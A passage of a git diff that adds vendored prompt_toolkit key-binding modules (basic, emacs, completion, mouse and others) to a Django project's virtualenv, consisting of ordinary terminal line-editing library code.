app.current_buffer.document.is_cursor_at_the_end + ) + + @handle("c-f", filter=suggestion_available) + @handle("c-e", filter=suggestion_available) + @handle("right", filter=suggestion_available) + def _accept(event: E) -> None: + """ + Accept suggestion. + """ + b = event.current_buffer + suggestion = b.suggestion + + if suggestion: + b.insert_text(suggestion.text) + + @handle("escape", "f", filter=suggestion_available & emacs_mode) + def _fill(event: E) -> None: + """ + Fill partial suggestion. + """ + b = event.current_buffer + suggestion = b.suggestion + + if suggestion: + t = re.split(r"(\S+\s+)", suggestion.text) + b.insert_text(next(x for x in t if x)) + + return key_bindings diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/basic.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/basic.py new file mode 100644 index 00000000..fc8f9643 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/basic.py @@ -0,0 +1,253 @@ +# pylint: disable=function-redefined +from prompt_toolkit.application.current import get_app +from prompt_toolkit.filters import ( + Condition, + emacs_insert_mode, + has_selection, + in_paste_mode, + is_multiline, + vi_insert_mode, +) +from prompt_toolkit.key_binding.key_processor import KeyPress, KeyPressEvent +from prompt_toolkit.keys import Keys + +from ..key_bindings import KeyBindings +from .named_commands import get_by_name + +__all__ = [ + "load_basic_bindings", +] + +E = KeyPressEvent + + +def if_no_repeat(event: E) -> bool: + """Callable that returns True when the previous event was delivered to + another handler.""" + return not event.is_repeat + + +def load_basic_bindings() -> KeyBindings: + key_bindings = KeyBindings() + insert_mode = vi_insert_mode | emacs_insert_mode + handle = key_bindings.add + + @handle("c-a") + @handle("c-b") + @handle("c-c") + @handle("c-d") + @handle("c-e") + @handle("c-f") + @handle("c-g") + @handle("c-h") + @handle("c-i") + @handle("c-j") + @handle("c-k") + @handle("c-l") + @handle("c-m") + @handle("c-n") + @handle("c-o") + @handle("c-p") + @handle("c-q") + @handle("c-r") + @handle("c-s") + @handle("c-t") + @handle("c-u") + @handle("c-v") + @handle("c-w") + @handle("c-x") + @handle("c-y") + @handle("c-z") + @handle("f1") + @handle("f2") + @handle("f3") + @handle("f4") + @handle("f5") + @handle("f6") + @handle("f7") + @handle("f8") + @handle("f9") + @handle("f10") + @handle("f11") + @handle("f12") + @handle("f13") + @handle("f14") + @handle("f15") + @handle("f16") + @handle("f17") + @handle("f18") + @handle("f19") + @handle("f20") + @handle("f21") + @handle("f22") + @handle("f23") + @handle("f24") + @handle("c-@") # Also c-space. + @handle("c-\\") + @handle("c-]") + @handle("c-^") + @handle("c-_") + @handle("backspace") + @handle("up") + @handle("down") + @handle("right") + @handle("left") + @handle("s-up") + @handle("s-down") + @handle("s-right") + @handle("s-left") + @handle("home") + @handle("end") + @handle("s-home") + @handle("s-end") + @handle("delete") + @handle("s-delete") + @handle("c-delete") + @handle("pageup") + @handle("pagedown") + @handle("s-tab") + @handle("tab") + @handle("c-s-left") + @handle("c-s-right") + @handle("c-s-home") + @handle("c-s-end") + @handle("c-left") + @handle("c-right") + @handle("c-up") + @handle("c-down") + @handle("c-home") + @handle("c-end") + @handle("insert") + @handle("s-insert") + @handle("c-insert") + @handle("") + @handle(Keys.Ignore) + def _ignore(event: E) -> None: + """ + First, for any of these keys, Don't do anything by default. Also don't + catch them in the 'Any' handler which will insert them as data. + + If people want to insert these characters as a literal, they can always + do by doing a quoted insert. (ControlQ in emacs mode, ControlV in Vi + mode.) + """ + pass + + # Readline-style bindings. + handle("home")(get_by_name("beginning-of-line")) + handle("end")(get_by_name("end-of-line")) + handle("left")(get_by_name("backward-char")) + handle("right")(get_by_name("forward-char")) + handle("c-up")(get_by_name("previous-history")) + handle("c-down")(get_by_name("next-history")) + handle("c-l")(get_by_name("clear-screen")) + + handle("c-k", filter=insert_mode)(get_by_name("kill-line")) + handle("c-u", filter=insert_mode)(get_by_name("unix-line-discard")) + handle("backspace", filter=insert_mode, save_before=if_no_repeat)( + get_by_name("backward-delete-char") + ) + handle("delete", filter=insert_mode, save_before=if_no_repeat)( + get_by_name("delete-char") + ) + handle("c-delete", filter=insert_mode, save_before=if_no_repeat)( + get_by_name("delete-char") + ) + handle(Keys.Any, filter=insert_mode, save_before=if_no_repeat)( + get_by_name("self-insert") + ) + handle("c-t", filter=insert_mode)(get_by_name("transpose-chars")) + handle("c-i", filter=insert_mode)(get_by_name("menu-complete")) + handle("s-tab", filter=insert_mode)(get_by_name("menu-complete-backward")) + + # Control-W should delete, using whitespace as separator, while M-Del + # should delete using [^a-zA-Z0-9] as a boundary. + handle("c-w", filter=insert_mode)(get_by_name("unix-word-rubout")) + + handle("pageup", filter=~has_selection)(get_by_name("previous-history")) + handle("pagedown", filter=~has_selection)(get_by_name("next-history")) + + # CTRL keys. + + @Condition + def has_text_before_cursor() -> bool: + return bool(get_app().current_buffer.text) + + handle("c-d", filter=has_text_before_cursor & insert_mode)( + get_by_name("delete-char") + ) + + @handle("enter", filter=insert_mode & is_multiline) + def _newline(event: E) -> None: + """ + Newline (in case of multiline input. + """ + event.current_buffer.newline(copy_margin=not in_paste_mode()) + + @handle("c-j") + def _newline2(event: E) -> None: + r""" + By default, handle \n as if it were a \r (enter). + (It appears that some terminals send \n instead of \r when pressing + enter. - at least the Linux subsystem for Windows.) + """ + event.key_processor.feed(KeyPress(Keys.ControlM, "\r"), first=True) + + # Delete the word before the cursor. + + @handle("up") + def _go_up(event: E) -> None: + event.current_buffer.auto_up(count=event.arg) + + @handle("down") + def _go_down(event: E) -> None: + event.current_buffer.auto_down(count=event.arg) + + @handle("delete", filter=has_selection) + def _cut(event: E) -> None: + data = event.current_buffer.cut_selection() + event.app.clipboard.set_data(data) + + # Global bindings. + + @handle("c-z") + def _insert_ctrl_z(event: E) -> None: + """ + By default, control-Z should literally insert Ctrl-Z. + (Ansi Ctrl-Z, code 26 in MSDOS means End-Of-File. + In a Python REPL for instance, it's possible to type + Control-Z followed by enter to quit.) + + When the system bindings are loaded and suspend-to-background is + supported, that will override this binding. + """ + event.current_buffer.insert_text(event.data) + + @handle(Keys.BracketedPaste) + def _paste(event: E) -> None: + """ + Pasting from clipboard. + """ + data = event.data + + # Be sure to use \n as line ending. + # Some terminals (Like iTerm2) seem to paste \r\n line endings in a + # bracketed paste. See: https://github.com/ipython/ipython/issues/9737 + data = data.replace("\r\n", "\n") + data = data.replace("\r", "\n") + + event.current_buffer.insert_text(data) + + @Condition + def in_quoted_insert() -> bool: + return get_app().quoted_insert + + @handle(Keys.Any, filter=in_quoted_insert, eager=True) + def _insert_text(event: E) -> None: + """ + Handle quoted insert. + """ + event.current_buffer.insert_text(event.data, overwrite=False) + event.app.quoted_insert = False + + return key_bindings diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/completion.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/completion.py new file mode 100644 index 00000000..a30b54e6 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/completion.py @@ -0,0 +1,203 @@ +""" +Key binding handlers for displaying completions. +""" +import asyncio +import math +from typing import TYPE_CHECKING, List + +from prompt_toolkit.application.run_in_terminal import in_terminal +from prompt_toolkit.completion import ( + CompleteEvent, + Completion, + get_common_complete_suffix, +) +from prompt_toolkit.formatted_text import StyleAndTextTuples +from prompt_toolkit.key_binding.key_bindings import KeyBindings +from prompt_toolkit.key_binding.key_processor import KeyPressEvent +from prompt_toolkit.keys import Keys +from prompt_toolkit.utils import get_cwidth + +if TYPE_CHECKING: + from prompt_toolkit.application import Application + from prompt_toolkit.shortcuts import PromptSession + +__all__ = [ + "generate_completions", + "display_completions_like_readline", +] + +E = KeyPressEvent + + +def generate_completions(event: E) -> None: + r""" + Tab-completion: where the first tab completes the common suffix and the + second tab lists all the completions. + """ + b = event.current_buffer + + # When already navigating through completions, select the next one. + if b.complete_state: + b.complete_next() + else: + b.start_completion(insert_common_part=True) + + +def display_completions_like_readline(event: E) -> None: + """ + Key binding handler for readline-style tab completion. + This is meant to be as similar as possible to the way how readline displays + completions. + + Generate the completions immediately (blocking) and display them above the + prompt in columns. + + Usage:: + + # Call this handler when 'Tab' has been pressed. + key_bindings.add(Keys.ControlI)(display_completions_like_readline) + """ + # Request completions. + b = event.current_buffer + if b.completer is None: + return + complete_event = CompleteEvent(completion_requested=True) + completions = list(b.completer.get_completions(b.document, complete_event)) + + # Calculate the common suffix. + common_suffix = get_common_complete_suffix(b.document, completions) + + # One completion: insert it. + if len(completions) == 1: + b.delete_before_cursor(-completions[0].start_position) + b.insert_text(completions[0].text) + # Multiple completions with common part. + elif common_suffix: + b.insert_text(common_suffix) + # Otherwise: display all completions. + elif completions: + _display_completions_like_readline(event.app, completions) + + +def _display_completions_like_readline( + app: "Application[object]", completions: List[Completion] +) -> "asyncio.Task[None]": + """ + Display the list of completions in columns above the prompt. + This will ask for a confirmation if there are too many completions to fit + on a single page and provide a paginator to walk through them. + """ + from prompt_toolkit.formatted_text import to_formatted_text + from prompt_toolkit.shortcuts.prompt import create_confirm_session + + # Get terminal dimensions. + term_size = app.output.get_size() + term_width = term_size.columns + term_height = term_size.rows + + # Calculate amount of required columns/rows for displaying the + # completions. (Keep in mind that completions are displayed + # alphabetically column-wise.) + max_compl_width = min( + term_width, max(get_cwidth(c.display_text) for c in completions) + 1 + ) + column_count = max(1, term_width // max_compl_width) + completions_per_page = column_count * (term_height - 1) + page_count = int(math.ceil(len(completions) / float(completions_per_page))) + # Note: math.ceil can return float on Python2. + + def display(page: int) -> None: + # Display completions. + page_completions = completions[ + page * completions_per_page : (page + 1) * completions_per_page + ] + + page_row_count = int(math.ceil(len(page_completions) / float(column_count))) + page_columns = [ + page_completions[i * page_row_count : (i + 1) * page_row_count] + for i in range(column_count) + ] + + result: StyleAndTextTuples = [] + + for r in range(page_row_count): + for c in range(column_count): + try: + completion = page_columns[c][r] + style = "class:readline-like-completions.completion " + ( + completion.style or "" + ) + + result.extend(to_formatted_text(completion.display, style=style)) + + # Add padding. + padding = max_compl_width - get_cwidth(completion.display_text) + result.append((completion.style, " " * padding)) + except IndexError: + pass + result.append(("", "\n")) + + app.print_text(to_formatted_text(result, "class:readline-like-completions")) + + # User interaction through an application generator function. + async def run_compl() -> None: + "Coroutine." + async with in_terminal(render_cli_done=True): + if len(completions) > completions_per_page: + # Ask confirmation if it doesn't fit on the screen. + confirm = await create_confirm_session( + f"Display all {len(completions)} possibilities?", + ).prompt_async() + + if confirm: + # Display pages. + for page in range(page_count): + display(page) + + if page != page_count - 1: + # Display --MORE-- and go to the next page. + show_more = await _create_more_session( + "--MORE--" + ).prompt_async() + + if not show_more: + return + else: + app.output.flush() + else: + # Display all completions. + display(0) + + return app.create_background_task(run_compl()) + + +def _create_more_session(message: str = "--MORE--") -> "PromptSession[bool]": + """ + Create a `PromptSession` object for displaying the "--MORE--". + """ + from prompt_toolkit.shortcuts import PromptSession + + bindings = KeyBindings() + + @bindings.add(" ") + @bindings.add("y") + @bindings.add("Y") + @bindings.add(Keys.ControlJ) + @bindings.add(Keys.ControlM) + @bindings.add(Keys.ControlI) # Tab. + def _yes(event: E) -> None: + event.app.exit(result=True) + + @bindings.add("n") + @bindings.add("N") + @bindings.add("q") + @bindings.add("Q") + @bindings.add(Keys.ControlC) + def _no(event: E) -> None: + event.app.exit(result=False) + + @bindings.add(Keys.Any) + def _ignore(event: E) -> None: + "Disable inserting of text." + + return PromptSession(message, key_bindings=bindings, erase_when_done=True) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/cpr.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/cpr.py new file mode 100644 index 00000000..07b0fa75 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/cpr.py @@ -0,0 +1,28 @@ +from prompt_toolkit.key_binding.key_processor import KeyPressEvent +from prompt_toolkit.keys import Keys + +from ..key_bindings import KeyBindings + +__all__ = [ + "load_cpr_bindings", +] + +E = KeyPressEvent + + +def load_cpr_bindings() -> KeyBindings: + key_bindings = KeyBindings() + + @key_bindings.add(Keys.CPRResponse, save_before=lambda e: False) + def _(event: E) -> None: + """ + Handle incoming Cursor-Position-Request response. + """ + # The incoming data looks like u'\x1b[35;1R' + # Parse row/col information. + row, col = map(int, event.data[2:-1].split(";")) + + # Report absolute cursor position to the renderer. + event.app.renderer.report_absolute_cursor_row(row) + + return key_bindings diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/emacs.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/emacs.py new file mode 100644 index 00000000..a4a5e348 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/emacs.py @@ -0,0 +1,557 @@ +# pylint: disable=function-redefined +from typing import Dict, Union + +from prompt_toolkit.application.current import get_app +from prompt_toolkit.buffer import Buffer, indent, unindent +from prompt_toolkit.completion import CompleteEvent +from prompt_toolkit.filters import ( + Condition, + emacs_insert_mode, + emacs_mode, + has_arg, + has_selection, + in_paste_mode, + is_multiline, + is_read_only, + shift_selection_mode, + vi_search_direction_reversed, +) +from prompt_toolkit.key_binding.key_bindings import Binding +from prompt_toolkit.key_binding.key_processor import KeyPressEvent +from prompt_toolkit.keys import Keys +from prompt_toolkit.selection import SelectionType + +from ..key_bindings import ConditionalKeyBindings, KeyBindings, KeyBindingsBase +from .named_commands import get_by_name + +__all__ = [ + "load_emacs_bindings", + "load_emacs_search_bindings", + "load_emacs_shift_selection_bindings", +] + +E = KeyPressEvent + + +def load_emacs_bindings() -> KeyBindingsBase: + """ + Some e-macs extensions. + """ + # Overview of Readline emacs commands: + # http://www.catonmat.net/download/readline-emacs-editing-mode-cheat-sheet.pdf + key_bindings = KeyBindings() + handle = key_bindings.add + + insert_mode = emacs_insert_mode + + @handle("escape") + def _esc(event: E) -> None: + """ + By default, ignore escape key. + + (If we don't put this here, and Esc is followed by a key which sequence + is not handled, we'll insert an Escape character in the input stream. + Something we don't want and happens to easily in emacs mode. + Further, people can always use ControlQ to do a quoted insert.) + """ + pass + + handle("c-a")(get_by_name("beginning-of-line")) + handle("c-b")(get_by_name("backward-char")) + handle("c-delete", filter=insert_mode)(get_by_name("kill-word")) + handle("c-e")(get_by_name("end-of-line")) + handle("c-f")(get_by_name("forward-char")) + handle("c-left")(get_by_name("backward-word")) + handle("c-right")(get_by_name("forward-word")) + handle("c-x", "r", "y", filter=insert_mode)(get_by_name("yank")) + handle("c-y", filter=insert_mode)(get_by_name("yank")) + handle("escape", "b")(get_by_name("backward-word")) + handle("escape", "c", filter=insert_mode)(get_by_name("capitalize-word")) + handle("escape", "d", filter=insert_mode)(get_by_name("kill-word")) + handle("escape", "f")(get_by_name("forward-word")) + handle("escape", "l", filter=insert_mode)(get_by_name("downcase-word")) + handle("escape", "u", filter=insert_mode)(get_by_name("uppercase-word")) + handle("escape", "y", filter=insert_mode)(get_by_name("yank-pop")) + handle("escape", "backspace", filter=insert_mode)(get_by_name("backward-kill-word")) + handle("escape", "\\", filter=insert_mode)(get_by_name("delete-horizontal-space")) + + handle("c-home")(get_by_name("beginning-of-buffer")) + handle("c-end")(get_by_name("end-of-buffer")) + + handle("c-_", save_before=(lambda e: False), filter=insert_mode)( + get_by_name("undo") + ) + + handle("c-x", "c-u", save_before=(lambda e: False), filter=insert_mode)( + get_by_name("undo") + ) + + handle("escape", "<", filter=~has_selection)(get_by_name("beginning-of-history")) + handle("escape", ">", filter=~has_selection)(get_by_name("end-of-history")) + + handle("escape", ".", filter=insert_mode)(get_by_name("yank-last-arg")) + handle("escape", "_", filter=insert_mode)(get_by_name("yank-last-arg")) + handle("escape", "c-y", filter=insert_mode)(get_by_name("yank-nth-arg")) + handle("escape", "#", filter=insert_mode)(get_by_name("insert-comment")) + handle("c-o")(get_by_name("operate-and-get-next")) + + # ControlQ does a quoted insert. Not that for vt100 terminals, you have to + # disable flow control by running ``stty -ixon``, otherwise Ctrl-Q and + # Ctrl-S are captured by the terminal. + handle("c-q", filter=~has_selection)(get_by_name("quoted-insert")) + + handle("c-x", "(")(get_by_name("start-kbd-macro")) + handle("c-x", ")")(get_by_name("end-kbd-macro")) + handle("c-x", "e")(get_by_name("call-last-kbd-macro")) + + @handle("c-n") + def _next(event: E) -> None: + "Next line." + event.current_buffer.auto_down() + + @handle("c-p") + def _prev(event: E) -> None: + "Previous line." + event.current_buffer.auto_up(count=event.arg) + + def handle_digit(c: str) -> None: + """ + Handle input of arguments. + The first number needs to be preceded by escape. + """ + + @handle(c, filter=has_arg) + @handle("escape", c) + def _(event: E) -> None: + event.append_to_arg_count(c) + + for c in "0123456789": + handle_digit(c) + + @handle("escape", "-", filter=~has_arg) + def _meta_dash(event: E) -> None: + """""" + if event._arg is None: + event.append_to_arg_count("-") + + @handle("-", filter=Condition(lambda: get_app().key_processor.arg == "-")) + def _dash(event: E) -> None: + """ + When '-' is typed again, after exactly '-' has been given as an + argument, ignore this. + """ + event.app.key_processor.arg = "-" + + @Condition + def is_returnable() -> bool: + return get_app().current_buffer.is_returnable + + # Meta + Enter: always accept input. + handle("escape", "enter", filter=insert_mode & is_returnable)( + get_by_name("accept-line") + ) + + # Enter: accept input in single line mode. + handle("enter", filter=insert_mode & is_returnable & ~is_multiline)( + get_by_name("accept-line") + ) + + def character_search(buff: Buffer, char: str, count: int) -> None: + if count < 0: + match = buff.document.find_backwards( + char, in_current_line=True, count=-count + ) + else: + match = buff.document.find(char, in_current_line=True, count=count) + + if match is not None: + buff.cursor_position += match + + @handle("c-]", Keys.Any) + def _goto_char(event: E) -> None: + "When Ctl-] + a character is pressed. go to that character." + # Also named 'character-search' + character_search(event.current_buffer, event.data, event.arg) + + @handle("escape", "c-]", Keys.Any) + def _goto_char_backwards(event: E) -> None: + "Like Ctl-], but backwards." + # Also named 'character-search-backward' + character_search(event.current_buffer, event.data, -event.arg) + + @handle("escape", "a") + def _prev_sentence(event: E) -> None: + "Previous sentence." + # TODO: + + @handle("escape", "e") + def _end_of_sentence(event: E) -> None: + "Move to end of sentence." + # TODO: + + @handle("escape", "t", filter=insert_mode) + def _swap_characters(event: E) -> None: + """ + Swap the last two words before the cursor. + """ + # TODO + + @handle("escape", "*", filter=insert_mode) + def _insert_all_completions(event: E) -> None: + """ + `meta-*`: Insert all possible completions of the preceding text. + """ + buff = event.current_buffer + + # List all completions. + complete_event = CompleteEvent(text_inserted=False, completion_requested=True) + completions = list( + buff.completer.get_completions(buff.document, complete_event) + ) + + # Insert them. + text_to_insert = " ".join(c.text for c in completions) + buff.insert_text(text_to_insert) + + @handle("c-x", "c-x") + def _toggle_start_end(event: E) -> None: + """ + Move cursor back and forth between the start and end of the current + line. + """ + buffer = event.current_buffer + + if buffer.document.is_cursor_at_the_end_of_line: + buffer.cursor_position += buffer.document.get_start_of_line_position( + after_whitespace=False + ) + else: + buffer.cursor_position += buffer.document.get_end_of_line_position() + + @handle("c-@") # Control-space or Control-@ + def _start_selection(event: E) -> None: + """ + Start of the selection (if the current buffer is not empty). + """ + # Take the current cursor position as the start of this selection. + buff = event.current_buffer + if buff.text: + buff.start_selection(selection_type=SelectionType.CHARACTERS) + + @handle("c-g", filter=~has_selection) + def _cancel(event: E) -> None: + """ + Control + G: Cancel completion menu and validation state. + """ + event.current_buffer.complete_state = None + event.current_buffer.validation_error = None + + @handle("c-g", filter=has_selection) + def _cancel_selection(event: E) -> None: + """ + Cancel selection. + """ + event.current_buffer.exit_selection() + + @handle("c-w", filter=has_selection) + @handle("c-x", "r", "k", filter=has_selection) + def _cut(event: E) -> None: + """ + Cut selected text. + """ + data = event.current_buffer.cut_selection() + event.app.clipboard.set_data(data) + + @handle("escape", "w", filter=has_selection) + def _copy(event: E) -> None: + """ + Copy selected text. + """ + data = event.current_buffer.copy_selection() + event.app.clipboard.set_data(data) + + @handle("escape", "left") + def _start_of_word(event: E) -> None: + """ + Cursor to start of previous word. + """ + buffer = event.current_buffer + buffer.cursor_position += ( + buffer.document.find_previous_word_beginning(count=event.arg) or 0 + ) + + @handle("escape", "right") + def _start_next_word(event: E) -> None: + """ + Cursor to start of next word. + """ + buffer = event.current_buffer + buffer.cursor_position += ( + buffer.document.find_next_word_beginning(count=event.arg) + or buffer.document.get_end_of_document_position() + ) + + @handle("escape", "/", filter=insert_mode) + def _complete(event: E) -> None: + """ + M-/: Complete. + """ + b = event.current_buffer + if b.complete_state: + b.complete_next() + else: + b.start_completion(select_first=True) + + @handle("c-c", ">", filter=has_selection) + def _indent(event: E) -> None: + """ + Indent selected text. + """ + buffer = event.current_buffer + + buffer.cursor_position += buffer.document.get_start_of_line_position( + after_whitespace=True + ) + + from_, to = buffer.document.selection_range() + from_, _ = buffer.document.translate_index_to_position(from_) + to, _ = buffer.document.translate_index_to_position(to) + + indent(buffer, from_, to + 1, count=event.arg) + + @handle("c-c", "<", filter=has_selection) + def _unindent(event: E) -> None: + """ + Unindent selected text. + """ + buffer = event.current_buffer + + from_, to = buffer.document.selection_range() + from_, _ = buffer.document.translate_index_to_position(from_) + to, _ = buffer.document.translate_index_to_position(to) + + unindent(buffer, from_, to + 1, count=event.arg) + + return ConditionalKeyBindings(key_bindings, emacs_mode) + + +def load_emacs_search_bindings() -> KeyBindingsBase: + key_bindings = KeyBindings() + handle = key_bindings.add + from . import search + + # NOTE: We don't bind 'Escape' to 'abort_search'. The reason is that we + # want Alt+Enter to accept input directly in incremental search mode. + # Instead, we have double escape. + + handle("c-r")(search.start_reverse_incremental_search) + handle("c-s")(search.start_forward_incremental_search) + + handle("c-c")(search.abort_search) + handle("c-g")(search.abort_search) + handle("c-r")(search.reverse_incremental_search) + handle("c-s")(search.forward_incremental_search) + handle("up")(search.reverse_incremental_search) + handle("down")(search.forward_incremental_search) + handle("enter")(search.accept_search) + + # Handling of escape. + handle("escape", eager=True)(search.accept_search) + + # Like Readline, it's more natural to accept the search when escape has + # been pressed, however instead the following two bindings could be used + # instead. + # #handle('escape', 'escape', eager=True)(search.abort_search) + # #handle('escape', 'enter', eager=True)(search.accept_search_and_accept_input) + + # If Read-only: also include the following key bindings: + + # '/' and '?' key bindings for searching, just like Vi mode. + handle("?", filter=is_read_only & ~vi_search_direction_reversed)( + search.start_reverse_incremental_search + ) + handle("/", filter=is_read_only & ~vi_search_direction_reversed)( + search.start_forward_incremental_search + ) + handle("?", filter=is_read_only & vi_search_direction_reversed)( + search.start_forward_incremental_search + ) + handle("/", filter=is_read_only & vi_search_direction_reversed)( + search.start_reverse_incremental_search + ) + + @handle("n", filter=is_read_only) + def _jump_next(event: E) -> None: + "Jump to next match." + event.current_buffer.apply_search( + event.app.current_search_state, + include_current_position=False, + count=event.arg, + ) + + @handle("N", filter=is_read_only) + def _jump_prev(event: E) -> None: + "Jump to previous match." + event.current_buffer.apply_search( + ~event.app.current_search_state, + include_current_position=False, + count=event.arg, + ) + + return ConditionalKeyBindings(key_bindings, emacs_mode) + + +def load_emacs_shift_selection_bindings() -> KeyBindingsBase: + """ + Bindings to select text with shift + cursor movements + """ + + key_bindings = KeyBindings() + handle = key_bindings.add + + def unshift_move(event: E) -> None: + """ + Used for the shift selection mode. When called with + a shift + movement key press event, moves the cursor + as if shift is not pressed. + """ + key = event.key_sequence[0].key + + if key == Keys.ShiftUp: + event.current_buffer.auto_up(count=event.arg) + return + if key == Keys.ShiftDown: + event.current_buffer.auto_down(count=event.arg) + return + + # the other keys are handled through their readline command + key_to_command: Dict[Union[Keys, str], str] = { + Keys.ShiftLeft: "backward-char", + Keys.ShiftRight: "forward-char", + Keys.ShiftHome: "beginning-of-line", + Keys.ShiftEnd: "end-of-line", + Keys.ControlShiftLeft: "backward-word", + Keys.ControlShiftRight: "forward-word", + Keys.ControlShiftHome: "beginning-of-buffer", + Keys.ControlShiftEnd: "end-of-buffer", + } + + try: + # Both the dict lookup and `get_by_name` can raise KeyError. + binding = get_by_name(key_to_command[key]) + except KeyError: + pass + else: # (`else` is not really needed here.) + if isinstance(binding, Binding): + # (It should always be a binding here) + binding.call(event) + + @handle("s-left", filter=~has_selection) + @handle("s-right", filter=~has_selection) + @handle("s-up", filter=~has_selection) + @handle("s-down", filter=~has_selection) + @handle("s-home", filter=~has_selection) + @handle("s-end", filter=~has_selection) + @handle("c-s-left", filter=~has_selection) + @handle("c-s-right", filter=~has_selection) + @handle("c-s-home", filter=~has_selection) + @handle("c-s-end", filter=~has_selection) + def _start_selection(event: E) -> None: + """ + Start selection with shift + movement. + """ + # Take the current cursor position as the start of this selection. + buff = event.current_buffer + if buff.text: + buff.start_selection(selection_type=SelectionType.CHARACTERS) + + if buff.selection_state is not None: + # (`selection_state` should never be `None`, it is created by + # `start_selection`.) + buff.selection_state.enter_shift_mode() + + # Then move the cursor + original_position = buff.cursor_position + unshift_move(event) + if buff.cursor_position == original_position: + # Cursor didn't actually move - so cancel selection + # to avoid having an empty selection + buff.exit_selection() + + @handle("s-left", filter=shift_selection_mode) + @handle("s-right", filter=shift_selection_mode) + @handle("s-up", filter=shift_selection_mode) + @handle("s-down", filter=shift_selection_mode) + @handle("s-home", filter=shift_selection_mode) + @handle("s-end", filter=shift_selection_mode) + @handle("c-s-left", filter=shift_selection_mode) + @handle("c-s-right", filter=shift_selection_mode) + @handle("c-s-home", filter=shift_selection_mode) + @handle("c-s-end", filter=shift_selection_mode) + def _extend_selection(event: E) -> None: + """ + Extend the selection + """ + # Just move the cursor, like shift was not pressed + unshift_move(event) + buff = event.current_buffer + + if buff.selection_state is not None: + if buff.cursor_position == buff.selection_state.original_cursor_position: + # selection is now empty, so cancel selection + buff.exit_selection() + + @handle(Keys.Any, filter=shift_selection_mode) + def _replace_selection(event: E) -> None: + """ + Replace selection by what is typed + """ + event.current_buffer.cut_selection() + get_by_name("self-insert").call(event) + + @handle("enter", filter=shift_selection_mode & is_multiline) + def _newline(event: E) -> None: + """ + A newline replaces the selection + """ + event.current_buffer.cut_selection() + event.current_buffer.newline(copy_margin=not in_paste_mode()) + + @handle("backspace", filter=shift_selection_mode) + def _delete(event: E) -> None: + """ + Delete selection. + """ + event.current_buffer.cut_selection() + + @handle("c-y", filter=shift_selection_mode) + def _yank(event: E) -> None: + """ + In shift selection mode, yanking (pasting) replace the selection. + """ + buff = event.current_buffer + if buff.selection_state: + buff.cut_selection() + get_by_name("yank").call(event) + + # moving the cursor in shift selection mode cancels the selection + @handle("left", filter=shift_selection_mode) + @handle("right", filter=shift_selection_mode) + @handle("up", filter=shift_selection_mode) + @handle("down", filter=shift_selection_mode) + @handle("home", filter=shift_selection_mode) + @handle("end", filter=shift_selection_mode) + @handle("c-left", filter=shift_selection_mode) + @handle("c-right", filter=shift_selection_mode) + @handle("c-home", filter=shift_selection_mode) + @handle("c-end", filter=shift_selection_mode) + def _cancel(event: E) -> None: + """ + Cancel selection. + """ + event.current_buffer.exit_selection() + # we then process the cursor movement + key_press = event.key_sequence[0] + event.key_processor.feed(key_press, first=True) + + return ConditionalKeyBindings(key_bindings, emacs_mode) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/focus.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/focus.py new file mode 100644 index 00000000..40844db6 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/focus.py @@ -0,0 +1,24 @@ +from prompt_toolkit.key_binding.key_processor import KeyPressEvent + +__all__ = [ + "focus_next", + "focus_previous", +] + +E = KeyPressEvent + + +def focus_next(event: E) -> None: + """ + Focus the next visible Window. + (Often bound to the `Tab` key.) + """ + event.app.layout.focus_next() + + +def focus_previous(event: E) -> None: + """ + Focus the previous visible Window. + (Often bound to the `BackTab` key.) + """ + event.app.layout.focus_previous() diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/mouse.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/mouse.py new file mode 100644 index 00000000..916cd411 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/mouse.py @@ -0,0 +1,347 @@ +import sys +from typing import TYPE_CHECKING, FrozenSet + +from prompt_toolkit.data_structures import Point +from prompt_toolkit.key_binding.key_processor import KeyPress, KeyPressEvent +from prompt_toolkit.keys import Keys +from prompt_toolkit.mouse_events import ( + MouseButton, + MouseEvent, + MouseEventType, + MouseModifier, +) + +from ..key_bindings import KeyBindings + +if TYPE_CHECKING: + from prompt_toolkit.key_binding.key_bindings import NotImplementedOrNone + +__all__ = [ + "load_mouse_bindings", +] + +E = KeyPressEvent + +# fmt: off +# flake8: noqa E201 +SCROLL_UP = MouseEventType.SCROLL_UP +SCROLL_DOWN = MouseEventType.SCROLL_DOWN +MOUSE_DOWN = MouseEventType.MOUSE_DOWN +MOUSE_MOVE = MouseEventType.MOUSE_MOVE +MOUSE_UP = MouseEventType.MOUSE_UP + +NO_MODIFIER : FrozenSet[MouseModifier] = frozenset() +SHIFT : FrozenSet[MouseModifier] = frozenset({MouseModifier.SHIFT}) +ALT : FrozenSet[MouseModifier] = frozenset({MouseModifier.ALT}) +SHIFT_ALT : FrozenSet[MouseModifier] = frozenset({MouseModifier.SHIFT, MouseModifier.ALT}) +CONTROL : FrozenSet[MouseModifier] = frozenset({MouseModifier.CONTROL}) +SHIFT_CONTROL : FrozenSet[MouseModifier] = frozenset({MouseModifier.SHIFT, MouseModifier.CONTROL}) +ALT_CONTROL : FrozenSet[MouseModifier] = frozenset({MouseModifier.ALT, MouseModifier.CONTROL}) +SHIFT_ALT_CONTROL: FrozenSet[MouseModifier] = 